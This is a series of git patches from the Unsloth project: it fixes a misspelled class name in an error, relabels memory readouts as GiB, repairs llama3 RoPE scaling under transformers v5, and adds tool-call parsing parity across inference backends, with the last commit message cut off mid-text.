+    # Without max_seq_length the guard tells the user which method to call first.
+    # The message must name the real class (SyntheticDataKit) so copying it works;
+    # a misspelling would raise NameError when the user follows it verbatim.
+    kit = SyntheticDataKit.__new__(SyntheticDataKit)
+    kit.tokenizer = _MockTokenizer()  # max_seq_length intentionally unset
+    with tempfile.NamedTemporaryFile("w", suffix = ".txt", delete = False) as f:
+        f.write("word " * 50)
+        path = f.name
+    try:
+        try:
+            kit.chunk_data(filename = path)
+            raise AssertionError("expected RuntimeError when max_seq_length is unset")
+        except RuntimeError as e:
+            msg = str(e)
+            assert (
+                "SyntheticDataKit.from_pretrained" in msg
+            ), f"error must name SyntheticDataKit.from_pretrained, got: {msg}"
+            assert (
+                "SynthetidDataKit" not in msg
+            ), f"error must not misspell the class name, got: {msg}"
+    finally:
+        os.unlink(path)
+
+
 if __name__ == "__main__":
     test_chunk_data_keeps_single_chunk_document()
     test_chunk_data_still_splits_long_document()
     test_chunk_data_empty_document_yields_no_chunks()
     test_chunk_data_short_document_is_not_split_into_fragments()
     test_chunk_data_rejects_overlap_not_smaller_than_chunk()
+    test_chunk_data_uninitialized_error_names_real_class()
     print("OK")
diff --git a/unsloth/dataprep/synthetic.py b/unsloth/dataprep/synthetic.py
index 10690810fe..6f025343f5 100644
--- a/unsloth/dataprep/synthetic.py
+++ b/unsloth/dataprep/synthetic.py
@@ -391,7 +391,7 @@ class SyntheticDataKit:
         assert os.path.exists(filename)
         assert hasattr(self, "tokenizer")
         if not hasattr(self, "max_seq_length"):
-            raise RuntimeError("Please use SynthetidDataKit.from_pretrained(...) first!")
+            raise RuntimeError("Please use SyntheticDataKit.from_pretrained(...) first!")
         if not hasattr(self, "overlap") or not hasattr(self, "max_generation_tokens"):
             raise RuntimeError("Please use prepare_qa_generation first!")
 

From 46e2cf5deea00419539a870c9113e3db68ab240b Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Mon, 6 Jul 2026 08:27:26 -0700
Subject: [PATCH 209/306] studio: label RAM and VRAM readouts as GiB not GB
 (#6895)

The live resource monitor and GPU readouts derive memory from binary byte
counts (bytes / 1024**3 for torch and psutil, MiB / 1024 for the nvidia-smi
path), which is GiB, but the UI labeled the values "GB". On a B200 this
showed "178.35 GB" for a card whose nvidia-smi total is 183359 MiB
(179 GiB), so it looked like memory was missing.

Relabel the measured RAM and VRAM readouts to GiB across the floating
monitor, the resources tab, the studio live GPU panel, the hub header, the
about tab and the onboarding summary. The numeric values are unchanged, so
the training GPU selection and memory-fit logic that read the same fields
are unaffected. Disk stays labeled GB because the backend reports it in
decimal GB (bytes / 1e9), and model file sizes and download progress keep
their decimal GB labels to match Hugging Face.
---
 .../src/components/floating-monitor.tsx       | 10 ++++----
 studio/frontend/src/features/hub/hub-page.tsx |  4 ++--
 .../components/steps/summary-step.tsx         |  2 +-
 .../src/features/settings/tabs/about-tab.tsx  |  2 +-
 .../features/settings/tabs/resources-tab.tsx  | 23 +++++++++++++------
 .../studio/sections/progress-section.tsx      |  4 ++--
 6 files changed, 28 insertions(+), 17 deletions(-)

diff --git a/studio/frontend/src/components/floating-monitor.tsx b/studio/frontend/src/components/floating-monitor.tsx
index f02da6612e..bce4bf2831 100644
--- a/studio/frontend/src/components/floating-monitor.tsx
+++ b/studio/frontend/src/components/floating-monitor.tsx
@@ -27,9 +27,11 @@ function usageTextClass(percent: number): string {
   return "text-primary";
 }
 
-function formatGb(value: number): string {
+function formatGiB(value: number): string {
+  // RAM/VRAM come from the backend in binary units (bytes / 1024**3), matching
+  // nvidia-smi and PyTorch, so label the readout GiB rather than GB.
   const digits = value >= 10 ? 1 : 2;
-  return `${value.toFixed(digits)} GB`;
+  return `${value.toFixed(digits)} GiB`;
 }
 
 export function FloatingMonitor() {
@@ -116,7 +118,7 @@ export function FloatingMonitor() {
               </span>
             </div>
             <div className="text-xs text-muted-foreground font-mono tabular-nums">
-              {formatGb(ramUsed)} / {formatGb(ramTotal)}
+              {formatGiB(ramUsed)} / {formatGiB(ramTotal)}
             </div>
             <Progress
               value={ramPercent}
@@ -144,7 +146,7 @@ export function FloatingMonitor() {
                 </span>
               </div>
               <div className="text-xs text-muted-foreground font-mono tabular-nums">
-                {formatGb(vramUsed)} / {formatGb(vramTotal)}
+                {formatGiB(vramUsed)} / {formatGiB(vramTotal)}
               </div>
               <Progress
                 value={vramPercent}
diff --git a/studio/frontend/src/features/hub/hub-page.tsx b/studio/frontend/src/features/hub/hub-page.tsx
index c3920e18f6..3dfcad5b4c 100644
--- a/studio/frontend/src/features/hub/hub-page.tsx
+++ b/studio/frontend/src/features/hub/hub-page.tsx
@@ -1085,11 +1085,11 @@ export function ModelsPage() {
   const { vramInfo, minMemory } = useHubModelVram(selectedModel, gpu);
 
   const gpuLabel = gpu.available
-    ? `${Math.round(gpu.memoryTotalGb)} GB`
+    ? `${Math.round(gpu.memoryTotalGb)} GiB`
     : "Unavailable";
   const ramLabel =
     gpu.systemRamTotalGb > 0
-      ? `${Math.round(gpu.systemRamTotalGb)} GB`
+      ? `${Math.round(gpu.systemRamTotalGb)} GiB`
       : "Unavailable";
   const coreLabel =
     gpu.cpuCore > 0 && gpu.cpuThread > 0
diff --git a/studio/frontend/src/features/onboarding/components/steps/summary-step.tsx b/studio/frontend/src/features/onboarding/components/steps/summary-step.tsx
index 6b6b11bf1f..eb50d398b6 100644
--- a/studio/frontend/src/features/onboarding/components/steps/summary-step.tsx
+++ b/studio/frontend/src/features/onboarding/components/steps/summary-step.tsx
@@ -125,7 +125,7 @@ export function SummaryStep() {
               <span className="text-xs text-muted-foreground">GPU</span>
               <div className="flex items-center gap-2">
                 <span className="text-sm font-medium">{hw.gpuName ?? "---"}</span>
-                <Badge variant="secondary">{hw.vramTotalGb != null ? `${hw.vramTotalGb} GB` : "---"}</Badge>
+                <Badge variant="secondary">{hw.vramTotalGb != null ? `${hw.vramTotalGb} GiB` : "---"}</Badge>
               </div>
             </div>
           </div>
diff --git a/studio/frontend/src/features/settings/tabs/about-tab.tsx b/studio/frontend/src/features/settings/tabs/about-tab.tsx
index ff751e3cd6..1f323a9e8d 100644
--- a/studio/frontend/src/features/settings/tabs/about-tab.tsx
+++ b/studio/frontend/src/features/settings/tabs/about-tab.tsx
@@ -158,7 +158,7 @@ export function AboutTab() {
               <code className="font-mono text-xs text-muted-foreground">
                 {gpu.name ?? "—"}
                 {gpu.vramTotalGb != null
-                  ? ` · ${Math.round(gpu.vramTotalGb)} GB`
+                  ? ` · ${Math.round(gpu.vramTotalGb)} GiB`
                   : ""}
               </code>
             </SettingsRow>
diff --git a/studio/frontend/src/features/settings/tabs/resources-tab.tsx b/studio/frontend/src/features/settings/tabs/resources-tab.tsx
index d5e19cc51c..6c30858c63 100644
--- a/studio/frontend/src/features/settings/tabs/resources-tab.tsx
+++ b/studio/frontend/src/features/settings/tabs/resources-tab.tsx
@@ -47,6 +47,15 @@ function formatGb(value: number | null | undefined): string {
   return `${safe.toFixed(digits)} GB`;
 }
 
+// RAM/VRAM come from the backend in binary units (bytes / 1024**3), matching
+// nvidia-smi and PyTorch, so label those readouts GiB. Disk stays on formatGb
+// because the backend reports disk in decimal GB (bytes / 1e9).
+function formatGiB(value: number | null | undefined): string {
+  const safe = isFiniteNumber(value) ? Math.max(0, value) : 0;
+  const digits = safe >= 10 ? 1 : 2;
+  return `${safe.toFixed(digits)} GiB`;
+}
+
 function formatMb(value: number | null | undefined): string {
   const safe = isFiniteNumber(value) ? Math.max(0, value) : 0;
   return `${Math.round(safe).toLocaleString()} MB`;
@@ -300,9 +309,9 @@ export function ResourcesTab() {
           />
           <MetricTile
             label={t("settings.resources.liveMonitor.ram")}
-            value={`${formatGb(metrics.ramUsed)} / ${formatGb(metrics.ramTotal)}`}
+            value={`${formatGiB(metrics.ramUsed)} / ${formatGiB(metrics.ramTotal)}`}
             detail={t("settings.resources.liveMonitor.free", {
-              value: formatGb(systemInfo.memory?.available_gb),
+              value: formatGiB(systemInfo.memory?.available_gb),
             })}
             percent={systemInfo.memory?.percent_used ?? 0}
           />
@@ -318,13 +327,13 @@ export function ResourcesTab() {
             label={t("settings.resources.liveMonitor.vram")}
             value={
               hasGpu
-                ? `${formatGb(metrics.vramUsed)} / ${formatGb(metrics.vramTotal)}`
+                ? `${formatGiB(metrics.vramUsed)} / ${formatGiB(metrics.vramTotal)}`
                 : t("settings.resources.liveMonitor.noGpu")
             }
             detail={
               hasGpu
                 ? t("settings.resources.liveMonitor.free", {
-                    value: formatGb(metrics.vramFree),
+                    value: formatGiB(metrics.vramFree),
                   })
                 : backendLabel
             }
@@ -373,17 +382,17 @@ export function ResourcesTab() {
                 <div className="grid gap-1 text-xs text-muted-foreground sm:grid-cols-3 sm:gap-2">
                   <span className="min-w-0 truncate font-mono tabular-nums">
                     {t("settings.resources.gpu.used", {
-                      value: formatGb(used),
+                      value: formatGiB(used),
                     })}
                   </span>
                   <span className="min-w-0 truncate font-mono tabular-nums sm:text-center">
                     {t("settings.resources.gpu.free", {
-                      value: formatGb(free),
+                      value: formatGiB(free),
                     })}
                   </span>
                   <span className="min-w-0 truncate font-mono tabular-nums sm:text-right">
                     {t("settings.resources.gpu.total", {
-                      value: formatGb(total),
+                      value: formatGiB(total),
                     })}
                   </span>
                 </div>
diff --git a/studio/frontend/src/features/studio/sections/progress-section.tsx b/studio/frontend/src/features/studio/sections/progress-section.tsx
index abab35db93..9c9398688f 100644
--- a/studio/frontend/src/features/studio/sections/progress-section.tsx
+++ b/studio/frontend/src/features/studio/sections/progress-section.tsx
@@ -411,7 +411,7 @@ function LiveGpuPanel({
                   value={index}
                   className="bg-popover text-popover-foreground dark:bg-zinc-900 dark:text-zinc-100"
                 >
-                  GPU {device.visible_ordinal ?? index} - {device.backend} ({device.vram_total_gb ? `${Math.round(device.vram_total_gb)}GB` : "N/A"})
+                  GPU {device.visible_ordinal ?? index} - {device.backend} ({device.vram_total_gb ? `${Math.round(device.vram_total_gb)}GiB` : "N/A"})
                 </option>
               ))}
             </select>
@@ -446,7 +446,7 @@ function LiveGpuPanel({
           icon={<HugeiconsIcon icon={RamMemoryIcon} className="size-3.5" />}
           value={
             currentGpu.vram_used_gb != null && currentGpu.vram_total_gb != null
-              ? `${currentGpu.vram_used_gb} / ${currentGpu.vram_total_gb} GB`
+              ? `${currentGpu.vram_used_gb} / ${currentGpu.vram_total_gb} GiB`
               : "--"
           }
           pct={currentGpu.vram_utilization_pct ?? 0}

From 2fada48ef5fb1f827cbb78684e42c9a06bd29020 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Mon, 6 Jul 2026 09:13:14 -0700
Subject: [PATCH 210/306] Fix llama3 RoPE scaling dropped on transformers v5
 (#6907)

* Fix llama3 RoPE scaling dropped on transformers v5

transformers v5 loads on meta then blanks non-persistent buffers, so
_fix_rope_inv_freq rebuilds inv_freq after load. It recomputed a vanilla
inv_freq and applied _apply_inv_freq_scaling, a no-op on the base
LlamaRotaryEmbedding used by the config/llama3 path, so inv_freq ended up
divided by 1 instead of the config factor (8 for Llama 3.1, 32 for Llama
3.2). This corrupts long-range positions and inflates long-context loss
about 3-5x. transformers 4.x was unaffected.

Route __init__ and the v5 repair through one _unsloth_recompute_inv_freq
so they cannot diverge, and stash the config on the rotary module so the
repair can rebuild the same scaled value.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Add test for llama3 RoPE scaling under the transformers v5 repair

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Update RoPE drift guard for the recompute refactor and guard the v5 repair

The drift guard's AST tripwire asserted the config-scaling call lived in the
if config is not None branch of LlamaRotaryEmbedding.__init__. The fix moved
that into _unsloth_recompute_inv_freq, so follow it there (with a fallback to
the old inline branch) and add a guard that loader._fix_rope_inv_freq rebuilds
inv_freq through the same helper. Also add a CPU functional check of the helper
and drop the redundant standalone test.

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
---
 tests/utils/test_rope_scaling_drift.py | 128 +++++++++++++++++++------
 unsloth/models/llama.py                |  41 ++++----
 unsloth/models/loader.py               |  19 ++--
 3 files changed, 132 insertions(+), 56 deletions(-)

diff --git a/tests/utils/test_rope_scaling_drift.py b/tests/utils/test_rope_scaling_drift.py
index b976654f87..98f7e2db62 100644
--- a/tests/utils/test_rope_scaling_drift.py
+++ b/tests/utils/test_rope_scaling_drift.py
@@ -31,6 +31,7 @@ requires_cuda = pytest.mark.skipif(
 
 REPO_ROOT = Path(__file__).resolve().parents[2]
 LLAMA_PY = REPO_ROOT / "unsloth" / "models" / "llama.py"
+LOADER_PY = REPO_ROOT / "unsloth" / "models" / "loader.py"
 
 CLASS_NAME = "LlamaRotaryEmbedding"
 
@@ -78,42 +79,88 @@ def _config_branch(init_fn):
     return None
 
 
+def _iter_names_and_calls(node):
+    """(attribute/string names, bare-name calls, method-call attrs) under node."""
+    names, calls, call_attrs = set(), set(), set()
+    for sub in ast.walk(node):
+        if isinstance(sub, ast.Attribute):
+            names.add(sub.attr)
+        elif isinstance(sub, ast.Constant) and isinstance(sub.value, str):
+            names.add(sub.value)
+        elif isinstance(sub, ast.Call):
+            if isinstance(sub.func, ast.Name):
+                calls.add(sub.func.id)
+            elif isinstance(sub.func, ast.Attribute):
+                call_attrs.add(sub.func.attr)
+    return names, calls, call_attrs
+
+
+def _find_method(source_path, class_name, method_name):
+    for node in ast.walk(ast.parse(source_path.read_text())):
+        if isinstance(node, ast.ClassDef) and node.name == class_name:
+            for sub in node.body:
+                if isinstance(sub, ast.FunctionDef) and sub.name == method_name:
+                    return sub
+    return None
+
+
+def _find_function(source_path, function_name):
+    for node in ast.walk(ast.parse(source_path.read_text())):
+        if isinstance(node, ast.FunctionDef) and node.name == function_name:
+            return node
+    return None
+
+
 def test_config_path_inspects_rope_scaling():
     init_fn = _load_class_init()
-    branch = _config_branch(init_fn)
-    assert branch is not None, (
-        f"{CLASS_NAME}.__init__ no longer has an `if config is not None:` "
-        "branch; the config constructor path must read config.rope_scaling so "
-        "scaled models (llama3/linear/longrope) are not silently unscaled "
-        "(issue #2405)"
-    )
+    # inv_freq is derived through the shared _unsloth_recompute_inv_freq helper
+    # (or still inlined in the config branch on older layouts); whichever scope
+    # holds the scaling must read config.rope_scaling and call
+    # _compute_config_rope_inv_freq, else scaled models run unscaled (#2405).
+    _, _, init_call_attrs = _iter_names_and_calls(init_fn)
+    scope = _find_method(LLAMA_PY, CLASS_NAME, "_unsloth_recompute_inv_freq")
+    if scope is not None:
+        assert "_unsloth_recompute_inv_freq" in init_call_attrs, (
+            f"{CLASS_NAME}.__init__ no longer derives inv_freq via "
+            "_unsloth_recompute_inv_freq; keep the constructor wired to the "
+            "shared scaling helper or scaled configs silently lose RoPE scaling "
+            "(issue #2405)."
+        )
+    else:
+        scope = _config_branch(init_fn)
+        assert scope is not None, (
+            f"{CLASS_NAME}.__init__ has neither a _unsloth_recompute_inv_freq "
+            "helper nor an `if config is not None:` branch; the config path must "
+            "apply llama3/linear/longrope scaling (issue #2405)."
+        )
 
-    names = set()
-    for stmt in branch.body:
-        for sub in ast.walk(stmt):
-            if isinstance(sub, ast.Attribute):
-                names.add(sub.attr)
-            elif isinstance(sub, ast.Constant) and isinstance(sub.value, str):
-                names.add(sub.value)
+    names, called, _ = _iter_names_and_calls(scope)
     assert "rope_scaling" in names, (
-        f"{CLASS_NAME}.__init__ config path does not reference `rope_scaling`. "
-        "When a rotary class is built straight from a config (the path modern "
-        "transformers takes, since rotary moved to LlamaModel), the llama3 / "
-        "linear / longrope scaling must still be applied; otherwise long inputs "
-        "produce repeated-pattern gibberish (issue #2405)."
+        f"{CLASS_NAME} inv_freq computation does not reference `rope_scaling`; "
+        "scaled models (llama3/linear/longrope) would run unscaled and produce "
+        "repeated-pattern gibberish past the original context (issue #2405)."
+    )
+    assert "_compute_config_rope_inv_freq" in called, (
+        f"{CLASS_NAME} inv_freq computation no longer calls "
+        "_compute_config_rope_inv_freq; keep it wired or scaled configs silently "
+        "lose RoPE scaling again (issue #2405)."
     )
 
-    called = {
-        sub.func.id
-        for stmt in branch.body
-        for sub in ast.walk(stmt)
-        if isinstance(sub, ast.Call) and isinstance(sub.func, ast.Name)
-    }
-    assert "_compute_config_rope_inv_freq" in called, (
-        f"{CLASS_NAME}.__init__ config path no longer calls "
-        "_compute_config_rope_inv_freq; the CPU behavioral tests below cover "
-        "that helper directly, so the constructor must stay wired to it or "
-        "scaled configs silently lose RoPE scaling again (issue #2405)."
+
+def test_v5_repair_reuses_recompute():
+    # transformers v5 blanks non-persistent buffers on load, so
+    # loader._fix_rope_inv_freq rebuilds inv_freq; it must reuse the scaled
+    # recompute, since an unscaled rebuild re-drops llama3 scaling (#2405).
+    fix_fn = _find_function(LOADER_PY, "_fix_rope_inv_freq")
+    assert fix_fn is not None, (
+        "loader._fix_rope_inv_freq not found; if it was renamed, update this "
+        "guard so the v5 rope repair keeps applying config scaling (issue #2405)."
+    )
+    _, _, call_attrs = _iter_names_and_calls(fix_fn)
+    assert "_unsloth_recompute_inv_freq" in call_attrs, (
+        "loader._fix_rope_inv_freq no longer rebuilds inv_freq via "
+        "_unsloth_recompute_inv_freq; transformers v5 blanks the buffer on load "
+        "and an unscaled rebuild re-drops llama3 scaling (issue #2405)."
     )
 
 
@@ -189,6 +236,27 @@ def test_default_rope_type_matches_vanilla_inv_freq():
     )
 
 
+def test_recompute_helper_scales_on_cpu():
+    # Exercise the exact method loader._fix_rope_inv_freq calls, without CUDA.
+    from unsloth.models.llama import LlamaRotaryEmbedding, _get_rope_theta
+
+    def recompute(config):
+        rot = object.__new__(LlamaRotaryEmbedding)
+        rot.attention_scaling = 1.0
+        rot.base = _get_rope_theta(config, 10000.0)
+        rot.dim = config.head_dim
+        rot._unsloth_rope_config = config
+        return rot._unsloth_recompute_inv_freq().float().cpu()
+
+    config = _make_config(LLAMA3_ROPE_SCALING)
+    assert torch.allclose(
+        recompute(config), _reference_inv_freq(config, "llama3"), rtol = 1e-4, atol = 1e-6
+    ), "_unsloth_recompute_inv_freq dropped llama3 scaling (issue #2405)."
+    assert torch.allclose(
+        recompute(_make_config(None)), _vanilla_inv_freq(), rtol = 1e-4, atol = 1e-6
+    ), "_unsloth_recompute_inv_freq must return vanilla inv_freq when unscaled."
+
+
 def _cos_at_position(rot, position):
     """cos row at one position, built like _set_cos_sin_cache but CPU-only."""
     inv_freq = rot.inv_freq.float().cpu()
diff --git a/unsloth/models/llama.py b/unsloth/models/llama.py
index 564be09578..c25a031b82 100644
--- a/unsloth/models/llama.py
+++ b/unsloth/models/llama.py
@@ -1756,7 +1756,6 @@ class LlamaRotaryEmbedding(torch.nn.Module):
         # Base-class-from-config path (modern transformers): derive inv_freq like
         # transformers so config.rope_scaling is not dropped (#2405). Scaled
         # subclasses are excluded to avoid double-scaling.
-        config_inv_freq = None
         if config is not None:
             # [TODO] Hack to pass in config - need to remove later
             base = _get_rope_theta(config, default = base)
@@ -1769,32 +1768,17 @@ class LlamaRotaryEmbedding(torch.nn.Module):
             device = DEVICE_TYPE_TORCH
             max_position_embeddings = config.max_position_embeddings
 
-            rope_scaling = getattr(config, "rope_scaling", None)
-            if rope_scaling is not None and type(self) is LlamaRotaryEmbedding:
-                config_inv_freq, self.attention_scaling = _compute_config_rope_inv_freq(
-                    config,
-                    rope_scaling,
-                )
-
         self.dim = dim
         self.max_position_embeddings = max_position_embeddings
         self.base = base
+        # Kept so the v5 rope repair can rebuild the scaled inv_freq (#2405).
+        self._unsloth_rope_config = config
         # Dynamic RoPE we first set it to a max of 4 * 8192 tokens then we iteratively grow this
         self.current_rope_size = min(4 * 8192, self.max_position_embeddings)
         self.multi_gpu_cos_cached = [None] * DEVICE_COUNT
         self.multi_gpu_sin_cached = [None] * DEVICE_COUNT
 
-        if config_inv_freq is not None:
-            inv_freq = config_inv_freq  # already scaled; skip subclass scaling
-        else:
-            # Normal Llama-3 RoPE
-            inv_freq = 1.0 / (
-                self.base
-                ** (
-                    torch.arange(0, self.dim, 2, dtype = torch.int64, device = "cpu").float() / self.dim
-                )
-            )
-            inv_freq = self._apply_inv_freq_scaling(inv_freq)
+        inv_freq = self._unsloth_recompute_inv_freq()
         self.register_buffer("inv_freq", inv_freq, persistent = False)
 
         # Build here to make `torch.jit.trace` work.
@@ -1817,6 +1801,25 @@ class LlamaRotaryEmbedding(torch.nn.Module):
         """Override to apply custom inv_freq scaling (e.g., extended RoPE)."""
         return inv_freq
 
+    def _unsloth_recompute_inv_freq(self):
+        # Config scaling (llama3/yarn) first, else vanilla + subclass scaling.
+        # Shared by __init__ and the v5 rope repair so they cannot diverge.
+        config = getattr(self, "_unsloth_rope_config", None)
+        config_inv_freq = None
+        rope_scaling = getattr(config, "rope_scaling", None) if config is not None else None
+        if rope_scaling is not None and type(self) is LlamaRotaryEmbedding:
+            config_inv_freq, self.attention_scaling = _compute_config_rope_inv_freq(
+                config,
+                rope_scaling,
+            )
+        if config_inv_freq is not None:
+            return config_inv_freq
+        inv_freq = 1.0 / (
+            self.base
+            ** (torch.arange(0, self.dim, 2, dtype = torch.int64, device = "cpu").float() / self.dim)
+        )
+        return self._apply_inv_freq_scaling(inv_freq)
+
     def _apply_time_scaling(self, t):
         """Override to apply custom time scaling (e.g., linear scaling)."""
         return t
diff --git a/unsloth/models/loader.py b/unsloth/models/loader.py
index ba23197861..13342157b0 100644
--- a/unsloth/models/loader.py
+++ b/unsloth/models/loader.py
@@ -245,6 +245,7 @@ def _maybe_advise_fla_install(model_types):
         "transformers will use a slower pure PyTorch path."
     )
 
+
 def _fix_rope_inv_freq(model):
     """Fix inv_freq corruption caused by transformers v5 meta-device loading.
 
@@ -268,14 +269,18 @@ def _fix_rope_inv_freq(model):
             and hasattr(module, "_apply_inv_freq_scaling")
             and hasattr(module, "multi_gpu_cos_cached")
         ):
-            inv_freq = 1.0 / (
-                module.base
-                ** (
-                    torch.arange(0, module.dim, 2, dtype = torch.int64, device = "cpu").float()
-                    / module.dim
+            if hasattr(module, "_unsloth_recompute_inv_freq"):
+                # Restore config scaling (llama3/yarn); unscaled here broke v5.
+                inv_freq = module._unsloth_recompute_inv_freq()
+            else:
+                inv_freq = 1.0 / (
+                    module.base
+                    ** (
+                        torch.arange(0, module.dim, 2, dtype = torch.int64, device = "cpu").float()
+                        / module.dim
+                    )
                 )
-            )
-            inv_freq = module._apply_inv_freq_scaling(inv_freq)
+                inv_freq = module._apply_inv_freq_scaling(inv_freq)
             module.inv_freq = inv_freq
             for device_idx in range(len(module.multi_gpu_cos_cached)):
                 if module.multi_gpu_cos_cached[device_idx] is not None:

From cb9d90283000bab36f96a0926220e32c25874e21 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Mon, 6 Jul 2026 09:13:29 -0700
Subject: [PATCH 211/306] Add the second blank line before _fix_rope_inv_freq
 (#6910)

ruff-format requires two blank lines before a top-level function.
loader.py carried only one, so the ruff-format-with-kwargs pre-commit
hook reformats it and the run fails. This restores the expected spacing.

From f0a5c52821e2f55b01c2a64d21e8fa9328d35250 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Mon, 6 Jul 2026 10:06:06 -0700
Subject: [PATCH 212/306] studio: tool calling + healing parity for Llama-3,
 Mistral, Gemma 4 on safetensors + MLX (#5620)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

* studio: tool calling for Llama-3, Mistral, Gemma 4 on safetensors + MLX (#5615)

Adds tool calling for Llama-3, Mistral (pre-v11 + v11+ + [ARGS]), and Gemma 4 to the safetensors / transformers and MLX backends. Parser patched against llama.cpp / vLLM / SGLang per-family parsers and normalises to OpenAI shape. 96 targeted unit tests + cross-OS staging CI (ubuntu / macos-14 / windows) green on the multi-format probe.

* studio: tool-call healing parity between safetensors / MLX and GGUF

After the multi-format parser landed in #5615, the safetensors / MLX
agentic loop and the GGUF loop still differed on healing behaviour.
This commit closes the gaps in both directions so the two backends
react the same way to identical model output.

Changes:

1. core/inference/llama_cpp.py -- the GGUF BUFFERING state machine
   now wakes on every emission marker the shared parser knows. Was
   ("<tool_call>", "<function="); is now the five-tuple imported
   from core.inference.tool_call_parser (Qwen / Qwen3.5 / Llama-3
   <|python_tag|> / Mistral [TOOL_CALLS] / Gemma 4 <|tool_call>).
   Stream cleanup is delegated to the same shared strip_tool_markup
   so leaked markup from any family is removed from assistant
   content.

2. core/inference/llama_cpp.py -- per-tool canonical heal key. When
   a tool arguments field is a bare string and JSON parsing fails,
   the GGUF path now heals to {"code": raw_args} for python,
   {"command": raw_args} for terminal, and {"query": raw_args} for
   everything else. Was hard-coded to {"query": raw_args}, which
   silently routed every python / terminal emission through
   web_search. Mirrors safetensors_agentic._CANONICAL_HEAL_ARG.

3. core/inference/safetensors_agentic.py -- re-prompt on plan-
   without-action. When the model emits a short forward-looking
   intent ("I'll search for that", "Let me check", "First, I
   will...") and no tool call, the loop nudges the model to act
   instead of silently returning a plan-only answer. Up to
   _MAX_REPROMPTS=3 (matches GGUF). The intent regex, character
   cap, and instruction text are byte-identical to the GGUF path.
   The buffer-end fall-through is unified so a buffered intent
   emission that never exits the BUFFERING state still triggers
   the re-prompt.

4. core/inference/safetensors_agentic.py -- extra iteration slots
   for re-prompts. The loop now budgets max_tool_iterations +
   _MAX_REPROMPTS + 1 total iterations and tracks the tool-call
   count separately, so a stalling model can be nudged 3x without
   eating the caller's tool-call budget. Mirrors the _extra slot
   reservation in the GGUF path.

Tests (14 new safetensors-side units; 5 GGUF parity pins):

  TestLoopRePrompt                 -- intent-trigger, plain-answer,
                                      no-tools, cap-at-three, budget
                                      preserved, buffer-end intent.
  TestLoopCanonicalHealKey         -- python / terminal / unknown.
  TestGGUFSafetensorsHealingParity -- shared markers used, shared
                                      strip used, canonical heal keys
                                      identical, intent regex matches
                                      same phrases, _MAX_REPROMPTS
                                      equal on both backends.

All 110 targeted tests pass locally; the broader tool / inference /
model-config / sandbox / anthropic / mlx suites stay green.

Why this matters

Without this parity, Llama-3.2 / Mistral / Gemma 4 emissions on Mac
(MLX) and Linux-safetensors stop the agentic loop as soon as the
model says "Let me...", because the GGUF re-prompt logic never
existed on these backends. The two-marker GGUF BUFFERING tuple also
let non-Qwen tool emissions stream out as plain prose when
llama-server's structured channel did not pick them up. Both paths
now drain the same way, heal the same way, and re-prompt the same
way -- so a tool call that works on GGUF works identically on
safetensors / MLX.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* studio: fix tool-call parser bugs from gemini review on #5620

Three high-priority gemini findings on the tool-call parsing additions:

  1. unicode_escape on UTF-8 bytes corrupts non-ASCII literals
     (e.g. ✨ becomes â\x9c¨). Replace with json.loads on a quoted
     string -- preserves emoji / CJK / RTL while still handling
     \n \t \uXXXX escapes.

  2. Llama-3 sentinel stripping is order-dependent. A leading
     `<|eot_id|><|begin_of_text|>` left `<|begin_of_text|>` behind
     because the loop had already passed that sentinel. Loop until
     no sentinel matches at the start.

  3. Mistral v11+ `[TOOL_CALLS] name { json }` regex uses non-greedy
     `\{.*?\}` which truncates at the first `}` of a nested JSON
     argument, leaking the tail (e.g. `}}`) into user-visible
     streamed text. Same problem for the v0.3 array pattern with
     nested brackets. Strip those with balanced brace/bracket
     scanning via a new `_strip_mistral_closed_calls` helper called
     from `strip_tool_markup`.

Also fix the inference routes' parallel `_TOOL_XML_RE`:

  - Same nested-JSON truncation in the Mistral patterns; route the
    strip through the parser's balanced-scan helper via a thin
    `_strip_tool_xml` wrapper that all existing callers now use.
  - Llama-3 `<|python_tag|>[^\n<]*` stopped at any `<`, leaking the
    tail of any tool call whose argument contained a literal `<`
    (queries, code snippets). Relax to `[^\n]*` which keeps the
    strip confined to the actual end-of-line.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* studio/routes: make python_tag strip multi-line aware

Earlier revisions of _TOOL_XML_RE in studio.backend.routes.inference
oscillated between two bug shapes:

  5615    r"<\|python_tag\|>[^\n<]*"   -- stopped at any literal "<"
                                         so code='if x < 10: pass'
                                         leaked '< 10: pass)' to the
                                         user.
  5620.1  r"<\|python_tag\|>[^\n]*"    -- single-line only; the second
                                         line of
                                         python.call(code="a\nb")
                                         leaked.

The full parser (_parse_llama3_python_tag) already handles both via
balanced-brace scanning, so the parsing path was fine; the LEAK was
in the streaming strip path that runs on every cumulative emission
while content is still arriving.

Switch to r"<\|python_tag\|>(?:[^<]|<(?!\|))*" so the strip consumes:

  * any character that is not a "<" (newlines, JSON, code, ...),
  * a "<" only when it is NOT followed by "|" (i.e. NOT a Llama-3
    sentinel start like <|eot_id|>, <|eom_id|>, <|begin_of_text|>).

This means:

  * code='if x < 10' stays inside the strip (5615 fix preserved),
  * multi-line code stays inside the strip (5620 round 2),
  * the strip terminates at the next Llama-3 sentinel so trailing
    assistant content survives.

Tests: TestRoutesPythonTagStrip (8 cases)
  pytest test_safetensors_tool_loop.py test_safetensors_capability_advertise.py
    -> 118 passed in 1.81s (was 110).

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* studio: tighten verbose comments in tool-call parser sections

Comments were narrating what the code already says. Cut historical
"earlier revisions used X, then Y" narratives down to one-line WHY
notes where the footgun still matters (canonical heal-key parity,
balanced-brace vs non-greedy regex, ``(?:[^<]|<(?!\|))*`` over
``[^\n<]*``/``[^\n]*``). Drop section-header banners.

No behaviour change. Re-ran:
